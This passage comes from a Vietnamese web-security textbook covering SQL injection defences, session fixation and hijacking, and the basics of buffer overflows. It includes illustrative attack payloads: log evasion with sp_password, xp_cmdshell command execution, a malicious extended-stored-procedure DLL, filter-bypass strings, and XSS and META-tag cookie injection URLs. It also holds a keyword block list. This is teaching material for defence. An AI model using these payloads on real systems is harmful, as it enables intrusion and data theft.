ghi nhận và nhờ đó mà một người quản trị có thể kiểm soát những gì đang xảy

ra và nhanh chóng tìm ra được giải pháp. Nhưng cũng có một cách để chống

lại điều này, bằng cách thêm dòng “sp_password” vào câu lệnh T-SQL, vì khi

gặp chuỗi này thì việc kiểm tra sẽ ghi nhận như sau:

-- ‘sp_password’ was found in the text of this event.

-- The text has benn replaced with this comment for security

reasons.

ngay cả khi “sp_password” xuất hiện trong phần chú thích.

Vì thế để dấu tất cả câu truy vấn tấn công, chỉ cần đơn giản là thêm

sp_password vào sau ‘--’ như sau:

Page 78: Bao mat ung_dung_web

Khoa CNTT

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

-Trang 75-

Username:admin’--sp_password

III.7.4. Dùng Extended Stored Procedure

III.7.4.1. Dùng Extended Stored Procedure có sẵn trong hệ thống

SQL Server

Nếu cài SQL Server ở chế độ mặc định thì SQL Server chạy trên nền

SYSTEM, tương đương mức truy cập ở Windows. Có thể dùng

master..xp_cmdshell để thi hành lệnh từ xa:

; exec master..xp_cmdshell 'ping 10.10.1.2'--

Thử dùng dấu nháy đôi (") nếu dấu nháy đơn (') không làm việc.

Dưới đây là một số extended stored procedure mà hacker thường hay sử

dụng để thực thi những câu lệnh xem nội dung thông tin trong máy nạn

nhân:

Xp_availablemedia hiển thị những ổ đĩa hiện hành trên máy

Xp_dirtree hiển thị tất cả các thư mục kể cả thư mục con

Xp_loginconfig Lấy thông tin về chế độ bảo mật trên server

Xp_makecab cho phép người sử dụng tạo các tập tin lưu trữ trên

Server (hay bất cứ tập tin nào mà server có thể truy x

Page 79: Bao mat ung_dung_web

Khoa CNTT

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

-Trang 76-

n

III.7.4.2. Dùng Extended Stored Procedure tự tạo

Extended stored procedure API là một chương trình có một nhiệm vụ đơn

giản là tạo ra một DLL extended stored porcedure chứa đựng đoạn mã nguy

hiểm. Để đưa tập tin DLL lên Server có thể dùng các câu lệnh, hoặc các kĩ

thuật giao tiếp khác nhau được thực hiện tự động, như là HTTP download và

FTP script.

Một khi tập tin DLL đã tồn tại trên máy chủ, thì hacker có thể tạo một

extended stored procedure bằng dòng lệnh sau :

Ví dụ 6.III.7.4.2-1:

sp_addextendedproc ‘xp_webserver’, ‘c:\temp\xp_foo.dll’

Sau đó có thể thực thi nó như là thực thi extended stored procedure thông

thường :

exec xp_webserver

Khi đã thực hiện xong, có thể xoá bằng lệnh sau:

sp_dropextendedproc ‘xp_webserver’

Xp_ntsec_enumdomain liệt kê những domain mà server có thể truy vấn.

Xp_terminate_process chấm dứt một tiến trình với tham số PID của nó.

Page 80: Bao mat ung_dung_web

Khoa CNTT

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

-Trang 77-

III.7.4.3. Nhập tập tin văn bản vào bảng

Dùng lệnh ‘bulk insert’, nhập dữ liệu từ một tập tin văn bản vào trong một

bảng tạm thời.

Ví dụ 6.III.7.4.3-1:Ví dụ tạo một bảng đơn giản như sau:

create table foo (line varchar(8000))

Sau đó chạy câu lệnh bulk insert để chép dữ liệu từ tập tin vào bảng

Ví dụ 6.III.7.4.3-2:

bulk insert foo from ‘c:\inetpub\wwwroot\process_login.asp’

Nội dung trang process_login.asp có thể lấy về bằng cách dùng những kĩ

thuật như trong Ví dụ 6.III.7.4-3.

IV. CÁCH PHÒNG CHỐNG

• Trong hầu hết trình duyệt, những kí tự nên được mã hoá trên địa chỉ URL trước

khi được sử dụng.

• Việc tấn công theo SQL Injection dựa vào những câu thông báo lỗi do đó việc

phòng chống hay nhất vẫn là không cho hiển thị những thông điệp lỗi cho người

dùng bằng cách thay thế những lỗi thông báo bằng 1 trang do người phát triển

thiết kế mỗi khi lỗi xảy ra trên ứng dụng.

• Kiểm tra kĩ giá trị nhập vào của người dùng, thay thế những kí tự như ‘ ; v..v..

Page 81: Bao mat ung_dung_web

Khoa CNTT

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

-Trang 78-

• Hãy loại bỏ các kí tự meta như “',",/,\,;“ và các kí tự extend như NULL, CR, LF, ...

trong các string nhận được từ:

o dữ liệu nhập do người dùng đệ trình

o các tham số từ URL

o các giá trị từ cookie

• Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi thực hiện câu

truy vấn SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.

• Dùng thuật toán để mã hoá dữ liệu

IV.1. Kiểm tra dữ liệu

Kiểm tra tính đúng đắn của dữ liệu là 1 vấn đề phức tạp và thường chưa được

quan tâm đúng mức trong các ứng dụng. Khuynh hướng của việc kiểm tra tính

đúng đắn của dữ liệu không phải là chỉ cần thêm một số chức năng vào ứng dụng,

mà phải kiểm tra một cách tổng quát nhanh chóng để đạt được mục đích.

Những tóm tắt sau đây sẽ bàn về việc kiểm tra tính đúng đắn của dữ liệu, cùng với

ví dụ mẫu để minh hoạ cho vấn đề này.

Có ba giải pháp tiếp cận vấn đề này:

1) Cố gắng kiểm tra và chỉnh sửa để làm cho dữ liệu hợp lệ.

2) Loại bỏ những dữ liệu bất hợp lệ.

3) Chỉ chấp nhận những dữ liệu hợp lệ

Giải pháp 1: khó thực hiện

Thứ nhất, người lập trình không cần thiết phải biết tất cả dữ liệu bất hợp lệ,

bởi vì những dạng dữ liệu bất hợp lệ rất đa dạng.

Page 82: Bao mat ung_dung_web

Khoa CNTT

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

-Trang 79-

Thứ hai, là vấn đề của trường hợp bị tấn công 2 tầng (second-oder SQL

injection) trong việc lấy dữ liệu từ hệ thống ra.

Giải pháp 2: bị vô hiệu trong các trường hợp như giải pháp 1 là do :

Dữ liệu bất hợp lệ luôn luôn thay đổi và cùng với việc phát triển các kiểu tấn

công mới.

Giải pháp 3: tốt hơn hai giải pháp kia, nhưng sẽ gặp một số hạn chế khi cài

đặt.

Cách bảo mật tốt nhất là kết hợp cả giải pháp 2 và 3. Một ví dụ cho sự cần

thiết kết hợp 2-3 là dấu nối giữa họ và tên “Quentin Bassington-Bassington”

phải cho phép dấu gạch ngang trong bộ định nghĩa dữ liệu hợp lệ, nhưng chuỗi

kí tự “--“ là một chuỗi kí tự đặc biệt trong SQL server.

Ví dụ nếu có bộ lọc để :

• Lọc bỏ những dữ liệu bất hợp lệ như ‘--‘,’select’ và ‘union’

• Một hàm kiểm soát để loại bỏ dấu nháy đơn thì có thể đối phó như sau.

uni’on se’lect @@version-‘-

Một số cách cài đặt các chức năng kiểm tra dữ liệu cơ bản

Cách 1: Thay thế dấu nháy đơn:

function escape( input )

input = replace(input, "'", "''")

escape = input

end function

Page 83: Bao mat ung_dung_web

Khoa CNTT

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

-Trang 80-

Cách 2: Từ chối dữ liệu bất hợp lệ

function validate_string( input )

known_bad = array( "select", "insert", "update",

"delete", "drop","--", "'" )

validate_string = true

for i = lbound( known_bad ) to ubound( known_bad )

if ( instr( 1, input, known_bad(i), vbtextcompare )

<> 0 )

then

validate_string = false

exit function

end if

next

end function

Cách 3: Chỉ chấp nhận dữ liệu hợp lệ

function validatepassword( input )

good_password_chars =

"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

validatepassword = true

for i = 1 to len( input )

c = mid( input, i, 1 )

if ( InStr( good_password_chars, c ) = 0 ) then

validatepassword = false

exit function

end if

next

end function

Page 84: Bao mat ung_dung_web

Khoa CNTT

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

-Trang 81-

IV.2. Khoá chặt SQL Server (SQL Server Lockdown)

Luận văn cũng giới thiệu một phương pháp bảo mật ở mức độ quản trị cơ sở dữ

liệu.

Đây là một danh sách các công việc cần làm để bảo vệ SQL server:

• Xác định các phương pháp kết nối đến server:

o Dùng tiện ích Network Utility để kiểm tra rằng chỉ có các thư viện mạng

đang dùng là hoat động.

• Kiểm tra tất cả các tài khoản có trong SQL Server

o Chỉ tạo tài khoản có quyền thấp cho các ứng dụng

o Loại bỏ những tài khoản không cần thiết

o Đảm bảo rằng tất cả tài khoản có một mật khẩu hợp lệ, …

• Kiểm tra các đối tượng tồn tại

o Nhiều extended stored procedure có thể được xoá bỏ một cách an toàn.

Nếu điều này được thực hiện, thì cũng nên xem xét việc loại bỏ luôn

những tập tin .dll chứa mã của các extended stored procedure

o Xoá bỏ tất cả cơ sở dữ liệu mẫu như “northwind” và “pubs”

o Xóa các stored procedure không dùng như: master..xp_cmdshell,

xp_startmail, xp_sendmail, sp_makewebtask

• Kiểm tra những tài khoản nào có thể truy xuất đến những đối tượng nào

o Đối với những tài khoản của một ứng dụng nào đó dùng để truy xuất cơ sở

dữ liệu thì chỉ được cấp những quyền hạn cần thiết tối thiểu để truy xuất

đến những đối tượng nó cần dùng.

Page 85: Bao mat ung_dung_web

Khoa CNTT

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

-Trang 82-

• Kiểm tra lớp sửa chữa của server

o Có một số cách tấn công như “buffer overflow”, “format string” thường

chú ý đến lớp bảo vệ này.

• Kiểm tra các phiên làm việc trên server

• Thay đổi "Startup và chạy SQL Server" ở mức người dùng quyền hạn thấp

trong SQL Server Security.

Nhận xét:- Qua chương 6 này, càng thấy rằng việc kiểm tra dữ liệu trước khi xử lý là cần thiết.

- Ứng dụng ngoài việc kiểm tra tính đúng đắn của dữ liệu, cần mã hóa dữ liệu ngay

bên trong cơ sở dữ liệu và không cho xuất trang Web lỗi, báo nội dung lỗi cú pháp

SQL để hacker không thể thu thập thông tin cơ sở dữ liệu.

- Song song đó là công việc của người quản trị mạng.

Page 86: Bao mat ung_dung_web

Khoa CNTT

Chương 7: Chiếm hữu phiên làm việc

-Trang 83-

Chương 7

CHIẾM HỮU PHIÊN LÀM VIỆCNội dung:

I. Tổng quan về SessionID

II. Ấn định phiên làm việc

III. Đánh cắp phiên làm việc

Page 87: Bao mat ung_dung_web

Khoa CNTT

Chương 7: Chiếm hữu phiên làm việc

-Trang 84-

CHƯƠNG 7: CHIẾM HỮU PHIÊN LÀM VIỆC

I. TỔNG QUAN VỀ SESSIONID

Như đã đề cập đến Session trong chương 2 phần III, session dùng để lưu trữ trạng

thái làm việc giữa trình duyệt và trình chủ. Session ID có thể được lưu trữ trong

cookie hay được nhúng vào địa chỉ URL hay trong biến ẩn của form.

Mỗi kiểu lưu trữ đều có ưu và khuyết điểm, nhưng qua thực tế cookie vẫn là lựa chọn

tốt nhất, và là phương pháp an toàn nhất.

Thông thường, sau khi người dùng được chứng thực dựa trên những thông tin cá

nhân như tên/mật khẩu, session ID được xem như một mật khẩu tĩnh tạm thời cho

những lần yêu cầu tiếp theo. Điều này đã khiến cho Session ID là mục tiêu lớn cho

những hacker. Trong nhiều trường hợp, hacker giành được session ID hợp lệ của

người dùng để từ đó đột nhập vào phiên làm việc của họ.

XSS cũng là một cách tấn công có thể chiếm được session ID lưu trữ trong cookie.

Cách tấn công này gọi là “session hijacking”.

Tấn công vào một phiên làm việc thường được thực hiện theo 2 kiểu chính sau:

• Ấn định phiên làm việc

• Đánh cắp phiên làm việc

Page 88: Bao mat ung_dung_web

Khoa CNTT

Chương 7: Chiếm hữu phiên làm việc

-Trang 85-

II.ẤN ĐỊNH PHIÊN LÀM VIỆC

Trong kiểu tấn công ấn định một phiên làm việc, hacker ấn định sẵn session ID cho

nạn nhân trước khi họ đăng nhập vào hệ thống. Sau đó, hacker sẽ sử dụng session ID

này để buớc vào phiên làm việc của nạn nhân đó.

Tóm tắt quá trình tấn công:

• Bước 1: Thiết lập session ID.

Hệ thống quản lí session theo 2 hướng:

+ Hướng tự do: chấp nhận bất kì một session ID, nếu chưa tồn tại session thì tạo

mới một session ID

+ Hướng giới hạn: chỉ chấp nhận session ID nào đã đăng kí trước đó.

Với hệ thống hướng tự do hacker chỉ cần thiết lập một session ID bất kì, nhớ và

sau đó sử dụng lại session ID này. Ở hướng giới hạn, hacker phải đăng kí một

session ID với ứng dụng.

Phụ thuộc vào qui trình quản lí phiên làm việc mà hacker lưu trữ thời gian sống

của phiên làm việc cho đến khi nạn nhân đăng nhập vào hệ thống. Thông thường

một phiên làm việc không tồn tại vô hạn định. Hệ thống sẽ tự động hủy bỏ phiên

làm việc nếu nó không thực hiện một thao tác nào (thời gian nhàn rỗi ) hoặc hết

hạn định.

Do đó bước 1a là kẻ tấn công sẽ bảo trì phiên làm việc bằng cách gửi yêu cầu đến

server.

Page 89: Bao mat ung_dung_web

Khoa CNTT

Chương 7: Chiếm hữu phiên làm việc

-Trang 86-

Hình 7.II-1: Sơ lược quá trình tấn công người dùng bằng kĩ thuật ấn định session

• Bước 2: Gởi ID này đến trình duyệt nạn nhân.

Hacker gửi session ID vừa tạo đến người dùng và việc trao đổi ID session còn tùy

vào ứng dụng mà có thể qua URL, biến ẩn form hay cookie. Các cách tấn công

thông dụng gồm:

o Tấn công session ID trên tham số URL.

o Tấn công session ID bằng biến ẩn form.

o Tấn công session ID trong cookie.

• Bước 3: Đột nhập vào phiên làm việc của nạn nhân.

Sau khi nạn nhân đăng nhập vào hệ thống qua session ID đã được chỉ định sẵn và

chưa thoát khỏi ứng dụng, hacker lúc này bắt đầu dùng session ID đó để bước vào

phiên làm việc của nạn nhân.

Page 90: Bao mat ung_dung_web

Khoa CNTT

Chương 7: Chiếm hữu phiên làm việc

-Trang 87-

Hình 7.II-2: Mô tả chi tiết quá trình thực hiện tấn công người dùng

bằng kĩ thuật ấn định phiên làm việc.

Tiếp theo luận văn sẽ trình bày về các cách tấn công session ID trong bước 2.

Page 91: Bao mat ung_dung_web

Khoa CNTT

Chương 7: Chiếm hữu phiên làm việc

-Trang 88-

II.1. Tấn công Session ID trên tham số URL

Hacker gửi một liên kết yêu cầu người dùng đăng nhập vào hệ thống máy đích với

sessionID đã được ấn định sẵn trên URL.

Ví dụ 7.II.1-1:

http://online.worldbank.com/login.jsp?sessionid=1234

Hình 7.II.1-1: Tấn công thông qua tham số URL

1. Hacker mở dịch vụ trực tuyến của ngân hàng thông qua địa chỉ

online.worldbank.com

2. Nhận được một session ID từ trình chủ để xác định phiên làm việc của

hacker. Ví dụ session ID có giá trị là 1234.

3. Sau đó hacker sẽ tìm cách gửi một liên kết đến một người dùng nào đó có tài

khoản trong ngân hàng này. Những liên kết đó thường là dẫn đến trang đăng

nhập vào tài khoản trong ngân hàng ví dụ liên kết là

http://online.workbank.com/login.jsp?sessionid=1234, để lừa người dùng làm

việc trong phiên làm việc của hackerkhi người dùng nhận được liên kết này,

Page 92: Bao mat ung_dung_web

Khoa CNTT

Chương 7: Chiếm hữu phiên làm việc

-Trang 89-

4. Người dùng bị mắc lừa và mở ứng dụng Web bằng liên kết của hacker. Do đã

có session ID (của hacker) nên trình chủ sẽ không tạo một session ID mới.

5. Người dùng vẫn tiếp tục đăng nhập với thông tin của mình để quản lý tài

khoản.

6. Khi đó hacker sẽ vào tài khoản của người dùng mà không cần phải đăng nhập

vì có cùng phiên làm việc.

Nhận xét: Cách tấn công này đòi hỏi ứng dụng phải tạo session ID ngay khi người

dùng sử dụng ứng dụng. Dễ bị phát hiện bởi người dùng.

II.2. Tấn công Session ID trong biến ẩn form

Kĩ thuật này cũng tương tự như kĩ thuật biến ẩn form, nghĩa là sau khi hacker xem

mã HTML của trang Web, nhận thấy session ID được đặt trong biến ẩn form,

hacker sẽ gửi một sessionID cũng trên URL đến người dùng hoặc một trang Web

giống trang đích nhưng với biến ẩn form mang giá trị ấn định sẵn.

Nhận xét: Phương pháp này cũng không khả thi và cũng dễ bị phát hiện như

phương pháp trên.

II.3. Tấn công Session ID trong cookie

Bằng việc lợi dụng cookie, hacker có ba cách để đưa một session ID đến trình

duyệt của nạn nhân:

• Sử dụng ngôn ngữ kịch bản( Javascript, VBscript..) để thiết lập một cookie

trong trình duyệt của nạn nhân.

• Sử dụng thẻ <META> để thiết lập thuộc tính Set-Cookie

• Sử dụng Set-Cookie của HTTP header trả lời

Page 93: Bao mat ung_dung_web

Khoa CNTT

Chương 7: Chiếm hữu phiên làm việc

-Trang 90-

Cụ thể là:

a) Thiết lập một cookie trên trình duyệt bằng ngôn ngữ kịch bản:

Hầu hết trình duyệt đều hỗ trợ các ngôn ngữ kịch bản thực thi trên trình duyệt như

Javascript, VBScript. Cả hai ngôn ngữ này có thể thiết lập một cookie cho trình

duyệt bằng cách thiết lập giá trị “ document.cookie”.

Ví dụ 7.II.3-1:

http://online.workbank.com/<script>document.cookie=

“sessionid=1234; domain= .workbank.com”;</script>.idc

Bên cạnh đó, hacker có thể thiết lập thời gian sống cho cookie, domain cookie…

và cách này phù hợp với những hệ thống hướng “tự do”. Ví dụ domain nào thuộc

.workbank.com đều có thể đọc được giá trị cookie này.

b) Dùng thẻ <META> với thuộc tính Set-Cookie:

Ứng dụng cũng có thể thiết lập cookie cho trình duyệt bằng thẻ <META> trong

HTML.

Ví dụ 7.II.3-2:

< meta http-equiv= Set-Cookie content=”sessionid=1234”>

Meta tag Injection (Thêm thẻ meta):

Với những hệ thống kiểm tra đối số với thẻ <SCRIPT> thì kĩ thuật XSS gặp nhiều

khó khăn, do đó thêm thẻ <META> là phương pháp khá hữu hiệu cho phép thao

tác trên cookie. Thông thường thẻ <META> được đặt giữa thẻ

Page 94: Bao mat ung_dung_web

Khoa CNTT

Chương 7: Chiếm hữu phiên làm việc

-Trang 91-

<HEAD></HEAD> nhưng nó vẫn có thể được xử lí nếu đặt bất cứ đâu trong

trang HTML.

Ví dụ 7.III-3:

http://online.workbank.dom/<meta%20http-equiv=Set-

Cookie%20content=”sessionid=1234;%20 Expires=Friday, %201-Jan-

2010%2000:00:00%20GMT”>.idc

Phương pháp này chiếm ưu thế hơn XSS ở chỗ không bị phá hủy trong IE ( không

cho phép thao tác các ngôn ngữ kịch bản trên trình duyệt), ngoại trừ thẻ <META

REFRESH>

c) Thiết lập cookie dùng thuộc tính Set-Cookie trong header HTTP response:

Cách này thiết lập một cookie cho trình duyệt bằng cách dùng Set-Cookie trong

header HTTP thông qua kĩ thuật tấn công DNS server,…

II.4. Cách phòng chống

Trước hết cũng cần nói rõ rằng việc phòng chống kiểu tấn công ấn định session

ID này không thuộc trách nhiệm của trình chủ Web server, vì trình chủ chỉ cung

cấp API quản lí phiên làm việc cho ứng dụng. Vì thế, chỉ ứng dụng mới cần có

những biện pháp phòng chống lại kiểu tấn công này.

• Biện pháp 1: Chống việc đăng nhập với một session ID có sẵn

Theo kiểu tấn công này, người dùng đăng nhập vào hệ thống thông qua một

session ID do hacker tạo sẵn thay vì cho trình chủ tạo mới, do đó để có thể

phòng chống, ứng dụng phải hủy bỏ session ID được cung cấp bởi trình duyệt

Page 95: Bao mat ung_dung_web

Khoa CNTT

Chương 7: Chiếm hữu phiên làm việc

-Trang 92-

của người dùng khi đăng nhập và luôn tạo một session ID mới khi người dùng

đăng nhập thành công.

• Biện pháp 2: Phòng chống những hacker bên ngoài hệ thống

Việc tạo ứng dụng trên hệ thống theo hướng giới hạn ( chỉ tạo một session ID

mới cho người dùng sau khi họ thành công ) sẽ khiến cho những hacker không

phải là người dùng hợp lệ của hệ thống không thể sử dụng phương pháp tấn

công này.

• Biện pháp 3: Giới hạn phạm vi ứng dụng của session ID

o Kết hợp Session ID với địa chỉ của trình duyệt.

o Kết hợp Session ID với thông tin chứng thực được mã hoá SSL của người

dùng.

o Xóa bỏ session khi người dùng thoát khỏi hệ thống hay hết hiệu lực, có thể

thực hiện trên trình chủ hoặc trình duyệt (cookie)

o Người sử dụng phải dùng chế độ thoát khỏi hệ thống để xóa bỏ session

hiện thời và có thể những session ID còn lưu lại trên hệ thống khi họ quên

thoát ra ngoài những lần trước

o Thiết lập thời gian hết hiệu lực cho session, tránh trường hợp hacker có thể

duy trì session và sử dụng nó lâu dài.

III. ĐÁNH CẮP PHIÊN LÀM VIỆC

Khác với kiểu tấn công ấn định phiên làm việc, hacker đánh cắp một session ID của

người dùng khi họ đang trong phiên làm việc của mình. Và để có thể đánh cắp

session ID của người dùng, hacker có thể dùng những phương pháp sau:

Page 96: Bao mat ung_dung_web

Khoa CNTT

Chương 7: Chiếm hữu phiên làm việc

-Trang 93-

• Dự đoán phiên làm việc

• Vét cạn phiên làm việc.

• Dùng đoạn mã đánh cắp phiên làm việc

III.1. Tấn công kiểu dự đoán phiên làm việc (Prediction

sessionID)

Hacker phải là người dùng hợp lệ của hệ thống, sau vài lần đăng nhập vào hệ

thống, hacker xem xét các giá trị session ID nhận được, tìm ra qui luật phát sinh

và từ đó có thể đoán được giá trị của một phiên làm việc của người dùng kế tiếp.

III.2. Tấn công kiểu vét cạn phiên làm việc (Brute force ID)

Hacker có thể tự tạo một chương trình gửi nhiều yêu cầu trong một khoảng thời

gian đến trình chủ. Mỗi một yêu cầu kèm theo một session ID để tìm các session

ID đang tồn tại. Hacker dựa vào thói quen của những nhà phát triển ứng dụng lấy

thời gian hay địa chỉ IP của người dùng để tạo sessionID để hạn chế vùng vét cạn.

Ví dụ 7.III.2-1: Tấn công trên trang Register.com

Bất kì ai đăng kí quản lí domain trên Register.com cũng được quyền thay đổi nội

dung DNS của mình. Mục đích của hacker là có được mật khẩu của người quản

trị domain đó trên Register.com. Chức năng thay đổi mật khẩu của Reister.com là

điểm yếu mà hacker sử dụng. Khi người dùng muốn thay đổi mật khẩu, nhấp vào

liên kết “Forgot password”. Sau đó Register.com sẽ gửi một email cung cấp cho

người dùng một liên kết kèm theo session ID trên URL để xác thực viêc thay đổi.

Page 97: Bao mat ung_dung_web

Khoa CNTT

Chương 7: Chiếm hữu phiên làm việc

-Trang 94-

III.3. Tấn công kiểu dùng đoạn mã để đánh cấp phiên làm

việc

Bằng cách chèn vào một đoạn mã thực thi trên chính trình duyệt của nạn nhân,

hacker có thể lừa người dùng theo vết một liên kết để từ đó thực hiện đánh cắp

cookie của người dùng và cách này được thực hiện thông qua lỗi Cross-Site

Scripting.

Sau khi có được phiên làm việc của người dùng, hacker vào phiên làm việc của

họ.

III.4. Biện pháp phòng chống

Nội dung cách phòng chống tương tự như cách phòng chống trong kĩ thuật “Ấn

định phiên làm việc” và cách tấn công Cross-Site Scripting.

Và một số lưu ý sau đây:

• Không được chủ quan khi nghĩ rằng thuật toán tạo session của ứng dụng là

bảo mật, không ai có thể đoán được.

• Với session ID quá ngắn, hacker có thể dùng kĩ thuật “Vét cạn”. Nhưng không

vì thế mà cho rằng ứng dụng sẽ bảo mật với session ID dài và phức tạp vì kích

thước session ID sẽ là một vấn đề nếu thuật toán không tốt.

III.1. Sự khác biệt giữa đánh cắp phiên làm việc (session

hijacking) và ấn định phiên làm việc (session fixation)

Page 98: Bao mat ung_dung_web

Khoa CNTT

Chương 7: Chiếm hữu phiên làm việc

-Trang 95-

Session hijacking Session fixation

Thời gian - Tấn công vào trình duyệt

của nạn nhân sau khi nạn

nhân đăng nhập vào hệ

thống

- Tấn công vào trình duyệt của

nạn nhân trước khi nạn nhân

đăng nhập vào hệ thống

Ảnh hưởng - Giành được quyền truy

cập một lần.

- Hacker giành được quyền

truy cập 1 lần, tạm thời, hoặc

thời gian dài trong mỗi lần tấn

công vào phiên làm việc của

nạn nhân

Duy trì phiên làm

việc

- Không yêu cầu sự duy trì

phiên làm việc

Có thể yêu cầu duy trì session

cho đến khi nạn nhân đăng

nhập

Hướng tấn công 1. Khai thác lỗ hổng XSS

trên máy đích

2. Chụp lấy session ID

trong phần HTTP Header

Referer gửi đến cho Web

server khác

3. Khai thác lưu lượng

mạng ( với những liên kết

đến máy đích không được

mã hoá)

1. Yêu cầu người dùng đăng

nhập vào hệ thống thông qua

một liên kết hay một form đã

bị thay đổi.

2. Khai thác lỗ hổng XSS trên

bất kì một máy chủ nào trên

domain của nạn nhân

3. Khai thác lỗ hổng trong thẻ

<META> trên bất kì một máy

chủ nào trên domain của nạn

nhân

4. Thêm một Server có khả

năng tạo session ID cùng

Page 99: Bao mat ung_dung_web

Khoa CNTT

Chương 7: Chiếm hữu phiên làm việc

-Trang 96-

domain với máy đích vào

trong máy chủ DNS của nạn

nhân.

5. Thay đổi lưu lượng mạng

Mục tiêu - Trình chủ

- Communication link

- Tất cả máy chủ trên domain

đích.

- Máy chủ DNS

- Trình chủ

- Communication link

Nhận xét:Kĩ thuật tấn công này lợi dụng sự lỏng lẻo trong việc quản lí phiên làm việc của ứng

dụng đồng thời nhắm đến những người sử dụng thiếu cẩn trọng trong việc truy cập

một ứng dụng Web. Trong các chương được đề cập, chỉ có kĩ thuật XSS và quản lí

phiên làm việc là lợi dụng sự thiếu thận trọng của người dùng.

Page 100: Bao mat ung_dung_web

Khoa CNTT

Chương 8: Tràn bộ đệm (Buffer Overflow)

-Trang 97-

Chương 8

TRÀN BỘ ĐỆMNội dung:

I. Khái niệm

II. Sơ đồ tổ chức của bộ nhớ

III. Một số cách gây lỗi tràn bộ đệm qua ứng dụng Web

IV. Cách phòng chống

Page 101: Bao mat ung_dung_web

Khoa CNTT

Chương 8: Tràn bộ đệm (Buffer Overflow)

-Trang 98-

CHƯƠNG 8: TRÀN BỘ ĐỆM (BUFFER OVERFLOW)

I. KHÁI NIỆM

Buffer overflow đã từng là lỗ hổng trong hệ thống bảo mật của UNIX từ nhiều năm

nay nhưng chỉ được công bố sau buổi thảo luận của Dr. Mudge trong tài liệu 1995 “

Bằng cách nào viết một chương trình khai thác lỗ hổng Buffer Overflow”(1)

Với kĩ thuật Buffer Overflow, cho phép một số lượng lớn dữ liệu được cung cấp bởi

người dùng mà vượt quá lượng bộ nhớ cấp phát ban đầu bởi ứng dụng do đó gây cho

hệ thống lâm vào tình trạng tràn bộ nhớ, thậm chí có thể bị chèn thêm một đoạn mã

bất kì. Nếu ứng dụng được cấu hình để được thực thi như root thì người tấn công có

thể thao tác như một nhà quản trị hệ thống của web server. Hầu hết những vấn đề đều

phát sinh từ khả năng lập trình yếu kém của những nhà lập trình. Đơn cử là sự cẩu thả

trong kiểm tra kích thước dữ liệu nhập vào.

Ví dụ 8.I-1:

func(char *ch)

{

char buffer[256];

strcpy(buffer,ch);

}

Buffer chỉ được cấp phát 256 byte nhưng ở hàm func, nếu buffer nhận 257 kí tự từ ch

thì lỗi tràn bộ đệm.

Page 102: Bao mat ung_dung_web

Khoa CNTT

Chương 8: Tràn bộ đệm (Buffer Overflow)

-Trang 99-

Kỹ thuật khai thác lỗi tràn bộ đệm (buffer overflow exploit) được xem là một trong

những kỹ thuật hacking kinh điển nhất. Chương 5 được chia làm 2 phần:

Phần 1: Tổ chức bộ nhớ, stack, gọi hàm, shellcode. Giới thiệu tổ chức bộ nhớ của

một tiến trình (process), các thao tác trên bộ nhớ stack khi gọi hàm và kỹ thuật cơ bản

để tạo shellcode - đoạn mã thực thi một giao tiếp dòng lệnh (shell).

Phần 2: Kỹ thuật khai thác lỗi tràn bộ đệm. Giới thiệu kỹ thuật tràn bộ đệm cơ

bản, tổ chức shellcode, xác định địa chỉ trả về, địa chỉ shellcode, cách truyền

shellcode cho chương trình bị lỗi.

Các chi tiết kỹ thuật minh hoạ ở đây được thực hiện trên môi trường Linux x86

(kernel 2.2.20, glibc-2.1.3), tuy nhiên về mặt lý thuyết có thể áp dụng cho bất kỳ môi

trường nào khác.

II. SƠ ĐỒ TỔ CHỨC CỦA BỘ NHỚ:

Hình 8.II-1: Sơ đồ tổ chức bộ nhớ

Page 103: Bao mat ung_dung_web

Khoa CNTT

Chương 8: Tràn bộ đệm (Buffer Overflow)

-Trang 100-

Mỗi tiến trình thực thi đều được hệ điều hành cấp cho một không gian bộ nhớ ảo

(logic) giống nhau. Không gian nhớ này gồm 3 vùng: text, data và stack. Ý nghĩa của

3 vùng này như sau:

• Vùng Text là vùng cố định, chứa các mã lệnh thực thi (instruction) và dữ liệu chỉ

đọc (read-only). Vùng này được chia sẻ giữa các tiến trình thực thi cùng một file

chương trình và tương ứng với phân đoạn text của file thực thi. Dữ liệu ở vùng

này là chỉ đọc, mọi thao tác nhằm ghi lên vùng nhớ này đều gây lỗi segmentation

violation.

• Vùng Data chứa các dữ liệu đã được khởi tạo hoặc chưa khởi tạo giá trị. Các biến

toàn cục và biến tĩnh được chứa trong vùng này.

• Vùng Stack là vùng nhớ được dành riêng khi thực thi chương trình dùng để chứa

giá trị các biến cục bộ của hàm, tham số gọi hàm cũng như giá trị trả về. Thao tác

trên bộ nhớ stack được thao tác theo cơ chế "vào sau ra trước" - LIFO (Last In,

First Out) với hai lệnh quan trọng nhất là PUSH và POP. Trong phạm vi bài viết

này, luận văn chỉ tập trung tìm hiểu về vùng stack.

II.1. Stack

Stack là vùng nhớ dùng để lưu các tham số và các biến cục bộ của hàm, giá trị

EBP ( địa chỉ đáy Stack ), địa chỉ trả về. Các biến được cấp phát từ vùng nhớ cao

đến vùng nhớ thấp.

Stack hoạt động theo nguyên tắc "vào sau ra trước"(Last In First Out - LIFO). Các

giá trị được đẩy vào stack sau cùng sẽ được lấy ra khỏi stack trước tiên.

Page 104: Bao mat ung_dung_web

Khoa CNTT

Chương 8: Tràn bộ đệm (Buffer Overflow)

-Trang 101-

II.2. Push và Pop

Stack đổ từ trên xuống duới(từ vùng nhớ cao đến vùng nhớ thấp). Thanh ghi ESP

luôn trỏ đến đỉnh của stack(vùng nhớ có địa chỉ thấp).

Hình 8.II.2-1: stack

• PUSH một giá trị vào stack

Hình 8.II.2-2: push một giá trị vào stack

(1) ESP=ESP-kích thước của giá trị

(2) Value được đẩy vào stack

• POP một value ra khỏi stack

Page 105: Bao mat ung_dung_web

Khoa CNTT

Chương 8: Tràn bộ đệm (Buffer Overflow)

-Trang 102-

Hình 8.II.2-3: pop một giá tri ra khỏi stack

(1) Value được lấy ra khỏi stack

(2) ESP=ESP++ kích thước của giá trị

II.3. Cách làm việc của hàm

